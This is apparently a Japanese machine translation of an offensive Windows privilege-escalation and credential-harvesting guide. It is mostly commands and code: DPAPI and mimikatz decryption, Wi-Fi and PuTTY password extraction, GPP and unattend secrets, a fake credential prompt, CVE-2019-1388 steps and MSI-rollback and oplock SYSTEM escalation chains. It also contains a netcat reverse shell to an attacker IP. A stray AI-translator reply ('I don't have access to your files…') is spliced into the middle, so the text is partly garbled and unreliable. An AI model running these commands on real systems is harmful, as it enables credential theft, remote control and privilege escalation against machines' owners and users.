アプリケーションが Credential Manager とやり取りしない限り、特定のリソースに対してその資格情報を使用することはできないと思われます。したがって、あなたのアプリケーションが vault を利用したいのであれば、デフォルトのストレージ vault からそのリソースの資格情報を要求するために、何らかの方法で Credential Manager と通信し、そのリソースの資格情報を要求する 必要があります。
マシンに保存された資格情報を一覧表示するには cmdkey を使用します。
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
その後、保存された資格情報を使用するためにrunasを/savecredオプション付きで利用できます。以下の例は、SMB共有経由でリモートのbinaryを呼び出すものです。
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
提供された資格情報を使って runas を実行する。
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz、lazagne、credentialfileview、VaultPasswordView、またはEmpire Powershells module に注意してください。
DPAPI
The Data Protection API (DPAPI) は、主に Windows オペレーティングシステム内で非対称プライベートキーの対称暗号化に使用される、データの対称暗号化の手段を提供します。この暗号化は、エントロピーに大きく寄与するユーザーまたはシステムのシークレットを利用します。
DPAPI は、ユーザーのログインシークレットから導出される対称鍵を用いてキーを暗号化することを可能にします。システムの暗号化に関するシナリオでは、システムのドメイン認証シークレットを利用します。
DPAPI を用いて暗号化されたユーザーの RSA キーは、%APPDATA%\Microsoft\Protect{SID} ディレクトリに保存されます。ここで {SID} はユーザーの Security Identifier を表します。DPAPI キーは、同じファイル内でユーザーのプライベートキーを保護するマスターキーと共に配置されることが多く、通常 64 バイトのランダムデータで構成されます。(このディレクトリへのアクセスは制限されており、dir コマンドを使った CMD では内容を一覧表示できませんが、PowerShell では一覧表示できます。)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
適切な引数(/pvk または /rpc)を指定して、mimikatz module dpapi::masterkey を使用して復号できます。
credentials files protected by the master password は通常以下の場所にあります:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
適切な /masterkey を指定して、mimikatz module dpapi::cred を使って復号できます.
sekurlsa::dpapi module を使って、extract many DPAPI masterkeys を memory から抽出できます(root の場合)。
PowerShell Credentials
PowerShell credentials は、scripting や自動化タスクで、暗号化された credentials を便利に保存する手段としてよく使われます。これらの credentials は DPAPI によって保護されており、通常、作成されたのと同じユーザーかつ同じコンピュータ上でしか復号できません。
ファイルに含まれる PS credentials を decrypt するには、次のようにします:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
保存された RDP 接続
これらは HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\
最近実行されたコマンド
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
リモート デスクトップ資格情報マネージャー
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
適切な /masterkey を使用して、Mimikatz の dpapi::rdg モジュールで任意の .rdg ファイルを復号します。
Mimikatz sekurlsa::dpapi モジュールでメモリから多くのDPAPI masterkeysを抽出できます
Sticky Notes
多くの人は、Windows ワークステーションの StickyNotes アプリを、これがデータベースファイルであると気づかずにパスワードを保存するなどの用途で使っています。
このファイルは C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite にあり、常に検索して調査する価値があります。
AppCmd.exe
AppCmd.exe からパスワードを回復するには、管理者権限で High Integrity レベルで実行する必要があることに注意してください。
AppCmd.exe は %systemroot%\system32\inetsrv\ ディレクトリにあります。
このファイルが存在する場合、いくつかのcredentialsが設定されており、回復できる可能性があります。
このコードは PowerUP から抽出されました:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe が存在するか確認する。
インストーラーはrun with SYSTEM privileges, 多くはDLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ファイルとレジストリ(資格情報)
Putty の資格情報
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ホストキー
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
レジストリ内の SSH keys
SSH private keys は HKCU\Software\OpenSSH\Agent\Keys レジストリキーに格納されていることがあるため、そこに興味深いものがないか確認してください:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
そのパス内にエントリが見つかった場合、それはおそらく保存された SSH key です。暗号化された状態で保存されていますが、https://github.com/ropnop/windows_sshagent_extract を使用すれば簡単に復号できます。
この手法の詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
If ssh-agent service is not running and you want it to automatically start on boot run:
ssh-agent サービスが実行されておらず、起動時に自動的に開始させたい場合は、次を実行してください:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
tip
この手法はもう有効ではないようです。いくつかの ssh keys を作成し、ssh-add で追加して ssh でマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称鍵認証中に dpapi.dll の使用を特定しませんでした。
無人応答ファイル
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
これらのファイルは metasploit を使用して検索することもできます: post/windows/gather/enum_unattend
例の内容:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM のバックアップ
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
クラウド認証情報
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
ファイル SiteList.xml を検索してください
Cached GPP Pasword
以前、Group Policy Preferences (GPP) を使って複数のマシンにカスタムのローカル管理者アカウントを配布する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、Group Policy Objects (GPOs) は SYSVOL に XML ファイルとして格納され、任意のドメインユーザーがアクセスできました。次に、これらの GPP 内のパスワードは公開されたデフォルトキーを用いて AES256 で暗号化されており、認証済みの任意のユーザーによって復号可能でした。これにより、ユーザーが昇格した権限を取得するリスクがありました。
このリスクを軽減するため、ローカルにキャッシュされた GPP ファイルをスキャンし、"cpassword" フィールドが空でないファイルを検出する関数が開発されました。該当ファイルが見つかると、その関数はパスワードを復号し、カスタム PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修復に役立ちます。
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPassword を復号するには:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec を使用して passwords を取得する:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web構成
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
資格情報を含む web.config の例:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN 認証情報
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
ログ
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
credentials を尋ねる
ユーザーがそれらを知っていると思われる場合は、常にユーザーに自身の credentials、あるいは別のユーザーの credentials を入力するよう頼むことができます(クライアントに直接credentialsを尋ねるのは本当に危険であることに注意してください):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
credentials を含む可能性のあるファイル名
かつて passwords を clear-text または Base64 で含んでいた既知のファイル
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
I don't have access to your files. Please paste the content of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of files you want searched) and I'll translate the English text to Japanese per your instructions.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
ゴミ箱内の資格情報
資格情報を探すためにゴミ箱も確認してください
いくつかのプログラムに保存されたパスワードを復元するには、次を使用できます: http://www.nirsoft.net/password_recovery_tools.html
レジストリ内
資格情報を含むその他のレジストリキー
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
ブラウザ履歴
Chrome or Firefox の passwords が保存されている db を確認してください。
またブラウザの履歴、ブックマーク、お気に入りも確認し、そこに passwords are 保存されている可能性があります。
ブラウザから passwords を抽出するツール:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) は Windows オペレーティングシステムに組み込まれた技術で、異なる言語のソフトウェアコンポーネント間の intercommunication を可能にします。各 COM コンポーネントは identified via a class ID (CLSID) で識別され、各コンポーネントは 1 つ以上のインターフェースを介して機能を公開します(interface IDs (IIDs) で識別)。
COM classes と interfaces はレジストリの HKEY\CLASSES\ROOT\CLSID および HKEY\CLASSES\ROOT\Interface にそれぞれ定義されています。このレジストリは HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes をマージして作成され、結果が HKEY\CLASSES\ROOT になります。
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
基本的に、実行される DLL を overwrite any of the DLLs できるなら、その DLL が別のユーザによって実行される場合に escalate privileges することが可能です。
攻撃者が COM Hijacking を persistence メカニズムとしてどのように利用するかを学ぶには、以下を参照してください:
Generic Password search in files and registry
ファイル内容を検索する
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
特定のファイル名を持つファイルを検索する
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
レジストリでキー名とパスワードを検索する
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
passwords を検索するツール
MSF-Credentials Plugin is a msf plugin。私はこの plugin を作成しました。この plugin は victim 内で credentials を検索する metasploit POST module をすべて自動的に実行します。
Winpeas はこのページで言及されている passwords を含むすべてのファイルを自動的に検索します。
Lazagne はシステムから password を抽出するもう一つの優れたツールです。
ツール SessionGopher は、PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP などこのデータを clear text で保存するツールの sessions, usernames and passwords を検索します。
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that SYSTEMとして動作するプロセスが新しいプロセスを開く (OpenProcess()) with full access. The same process また別の新しいプロセスを作成する (CreateProcess()) 低権限だがメインプロセスのすべてのオープンハンドルを継承する.
Then, if you have 低権限プロセスへのフルアクセス, you can grab the OpenProcess()で作成された特権プロセスへのオープンハンドル and shellcodeを注入.
この例を参照して、この脆弱性を検出・悪用する方法の詳細を確認してください。
この他の投稿では、異なる権限レベルで継承されるプロセスやスレッドのオープンハンドル(必ずしもfull accessに限らない)をテストおよび悪用する方法についてより完全な説明がされています。.
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a 特権プロセス that communicates via a pipe you can mimic provides an opportunity to より高い権限を取得する by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found こちら and こちら.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
その他
Windows上でコードを実行できるファイル拡張子
ページ https://filesec.io/ を参照してください
コマンドライン上のパスワード監視
ユーザーとしてシェルを取得した際、スケジュールタスクやその他のプロセスが コマンドライン上で資格情報を渡す ことがあります。以下のスクリプトはプロセスのコマンドラインを2秒ごとに取得し、現在の状態を前回の状態と比較して差分を出力します。
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
プロセスからパスワードを盗む
低権限ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC Bypass
コンソールや RDP を介してグラフィカルインターフェースにアクセスでき、かつ UAC が有効な場合、一部の Microsoft Windows のバージョンでは、低権限ユーザーから "NT\AUTHORITY SYSTEM" としてターミナルやその他のプロセスを実行することが可能です。
これにより、同じ脆弱性を利用して権限昇格と UAC のバイパスを同時に行うことができます。さらに、何もインストールする必要はなく、処理中に使用されるバイナリは署名されており Microsoft が発行したものです。
影響を受けるシステムの一部は次のとおりです:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
この脆弱性を悪用するには、次の手順を実行する必要があります:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
管理者の Medium から High Integrity Level へ / UAC バイパス
Integrity Levels について学ぶには、次を読んでください:
次に、UAC と UAC バイパスについて学ぶには、こちらを読んでください:
任意フォルダの削除/移動/名前変更から SYSTEM EoP まで
この手法は in this blog post で説明されており、エクスプロイトコードは available here にあります。
攻撃は基本的に Windows Installer の rollback 機能を悪用し、アンインストール時に正当なファイルを悪意あるファイルに置き換えるものです。そのために攻撃者は C:\Config.Msi フォルダをハイジャックするための malicious MSI installer を作成する必要があり、これは後に他の MSI パッケージのアンインストール時に rollback ファイルを格納するために Windows Installer に使われ、rollback ファイルが悪意あるペイロードに改変されます。
要約すると手法は以下の通りです:
- Stage 1 – Hijack の準備 (
C:\Config.Msiを空にしておく)
-
Step 1: Install the MSI
-
書き込み可能なフォルダ(
TARGETDIR)に無害なファイル(例:dummy.txt)をインストールする.msiを作成する。 -
インストーラを "UAC Compliant" としてマークし、非管理者ユーザーでも実行可能にする。
-
インストール後、そのファイルへの handle を開いたままにしておく。
-
Step 2: Begin Uninstall
-
同じ
.msiをアンインストールする。 -
アンインストール処理はファイルを
C:\Config.Msiに移動し、.rbfファイルとしてリネームして rollback バックアップを作成し始める。 -
GetFinalPathNameByHandleを使って、ファイルがC:\Config.Msi\<random>.rbfになったことを検出するために open file handle をポーリングする。 -
Step 3: Custom Syncing
-
.msiは カスタムアンインストールアクション (SyncOnRbfWritten) を含み、これが: -
.rbfが書き込まれたことを通知する。 -
次にアンインストールを続行する前に別のイベントを待機する。
-
Step 4: Block Deletion of
.rbf -
シグナルを受けたら、
FILE_SHARE_DELETEなしで.rbfファイルを 開く — これによりそのファイルの削除を 防止できる。 -
その後 シグナルを返して アンインストールを終了させる。
-
Windows Installer は
.rbfを削除できず、すべての内容を削除できないためC:\Config.Msiは削除されない。 -
Step 5: Manually Delete
.rbf -
攻撃者が
.rbfを手動で削除する。 -
これで
C:\Config.Msiは空 になり、ハイジャック可能な状態になる。
この時点で、
C:\Config.Msiを削除するために SYSTEM レベルの任意フォルダ削除の脆弱性 をトリガーしてください。
- Stage 2 – Rollback スクリプトを悪意あるものに置き換える
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
C:\Config.Msiフォルダを自分で再作成する。 -
弱い DACL(例: Everyone:F)を設定し、
WRITE_DACを持つ handle を 開いたままにする。 -
Step 7: Run Another Install
-
.msiを再度インストールする。設定は: -
TARGETDIR: 書き込み可能な場所。 -
ERROROUT: 強制的な失敗を引き起こす変数。 -
このインストールは再度 rollback をトリガーするために使われ、
.rbsと.rbfが読まれる。 -
Step 8: Monitor for
.rbs -
ReadDirectoryChangesWを使ってC:\Config.Msiを監視し、新しい.rbsが現れるまで待機する。 -
そのファイル名をキャプチャする。
-
Step 9: Sync Before Rollback
-
.msiは カスタムインストールアクション (SyncBeforeRollback) を含み、.rbsが作成されたときにイベントをシグナルし、その後進行を待機する。 -
Step 10: Reapply Weak ACL
-
.rbs createdイベントを受け取った後: -
Windows Installer は
C:\Config.Msiに強い ACL を再適用する。 -
しかし、あなたはまだ
WRITE_DACを持つ handle を開いているため、再度弱い ACL を 再適用できる。
ACL は handle のオープン時にのみ適用される ため、フォルダへの書き込みは可能なままです。
-
Step 11: Drop Fake
.rbsand.rbf -
.rbsファイルを上書きして、Windows に対して次を指示する 偽の rollback スクリプト を置く: -
あなたの
.rbf(悪意ある DLL)を 特権のある場所(例:C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)に復元するよう指示する。 -
悪意ある SYSTEM レベルのペイロード DLL を含む偽の
.rbfを配置する。 -
Step 12: Trigger the Rollback
-
同期イベントをシグナルしてインストーラを再開させる。
-
既知のポイントでインストールを 意図的に失敗 させるために type 19 のカスタムアクション(
ErrorOut)が設定されている。 -
これにより rollback が開始 される。
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer はあなたの悪意ある
.rbsを読み、ターゲットの場所にあなたの.rbfDLL をコピーする。 -
これで SYSTEM がロードするパスに悪意ある DLL を配置できる。
-
Final Step: Execute SYSTEM Code
-
信頼された auto-elevated バイナリ(例:
osk.exe)を実行して、ハイジャックした DLL をロードさせる。 -
結果として、あなたのコードが SYSTEM として実行される。
任意ファイルの削除/移動/名前変更から SYSTEM EoP へ
メインの MSI rollback 手法(前述)は、C:\Config.Msi のような フォルダ全体を削除できる ことを前提としています。しかし、脆弱性が 任意ファイルの削除のみ を許す場合はどうでしょうか?
その場合は NTFS の内部構造 を悪用できます: すべてのフォルダには次のような隠しの代替データストリームがあります:
C:\SomeFolder::$INDEX_ALLOCATION
このストリームはフォルダのインデックスメタデータを格納します。
そのため、フォルダの**::$INDEX_ALLOCATIONストリームを削除すると**、NTFSはファイルシステムからフォルダ全体を削除します。
これは次のような標準的なファイル削除APIを使用して実行できます:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
あなたが ファイル 削除APIを呼び出しているにもかかわらず、それは フォルダ自体を削除する。
フォルダの内容削除から SYSTEM EoP へ
プリミティブが任意のファイル/フォルダを削除できない場合でも、攻撃者が制御するフォルダの内容の削除を許可するとしたら?
- ステップ1: おとりのフォルダとファイルを用意する
- 作成:
C:\temp\folder1 - その中に:
C:\temp\folder1\file1.txt
- ステップ2:
file1.txtに oplock を仕掛ける
- 特権プロセスが
file1.txtを削除しようとすると、oplock は 実行を一時停止 させる。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- ステップ3: SYSTEMプロセスをトリガーする(例:
SilentCleanup)
- このプロセスはフォルダ(例:
%TEMP%)をスキャンし、その内容を削除しようとします。 file1.txtに到達したとき、oplockが作動してコールバックに制御が渡されます。
- ステップ4: Inside the oplock callback – 削除をリダイレクト
-
Option A: Move
file1.txtelsewhere -
これにより
folder1を空にできます(oplockを破壊せずに)。 -
file1.txtを直接削除しないでください — そうするとoplockが早期に解除されます。 -
Option B: Convert
folder1into a junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- オプション C:
\RPC Controlに symlink を作成する:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
これはフォルダのメタデータを格納するNTFSの内部ストリームを狙っています — これを削除するとフォルダ自体が削除されます。
- ステップ5: oplock を解放
- SYSTEM プロセスは処理を続け、
file1.txtを削除しようとします。 - しかし今は、junction + symlink のため、実際に削除しているのは次の通りです:
C:\Config.Msi::$INDEX_ALLOCATION
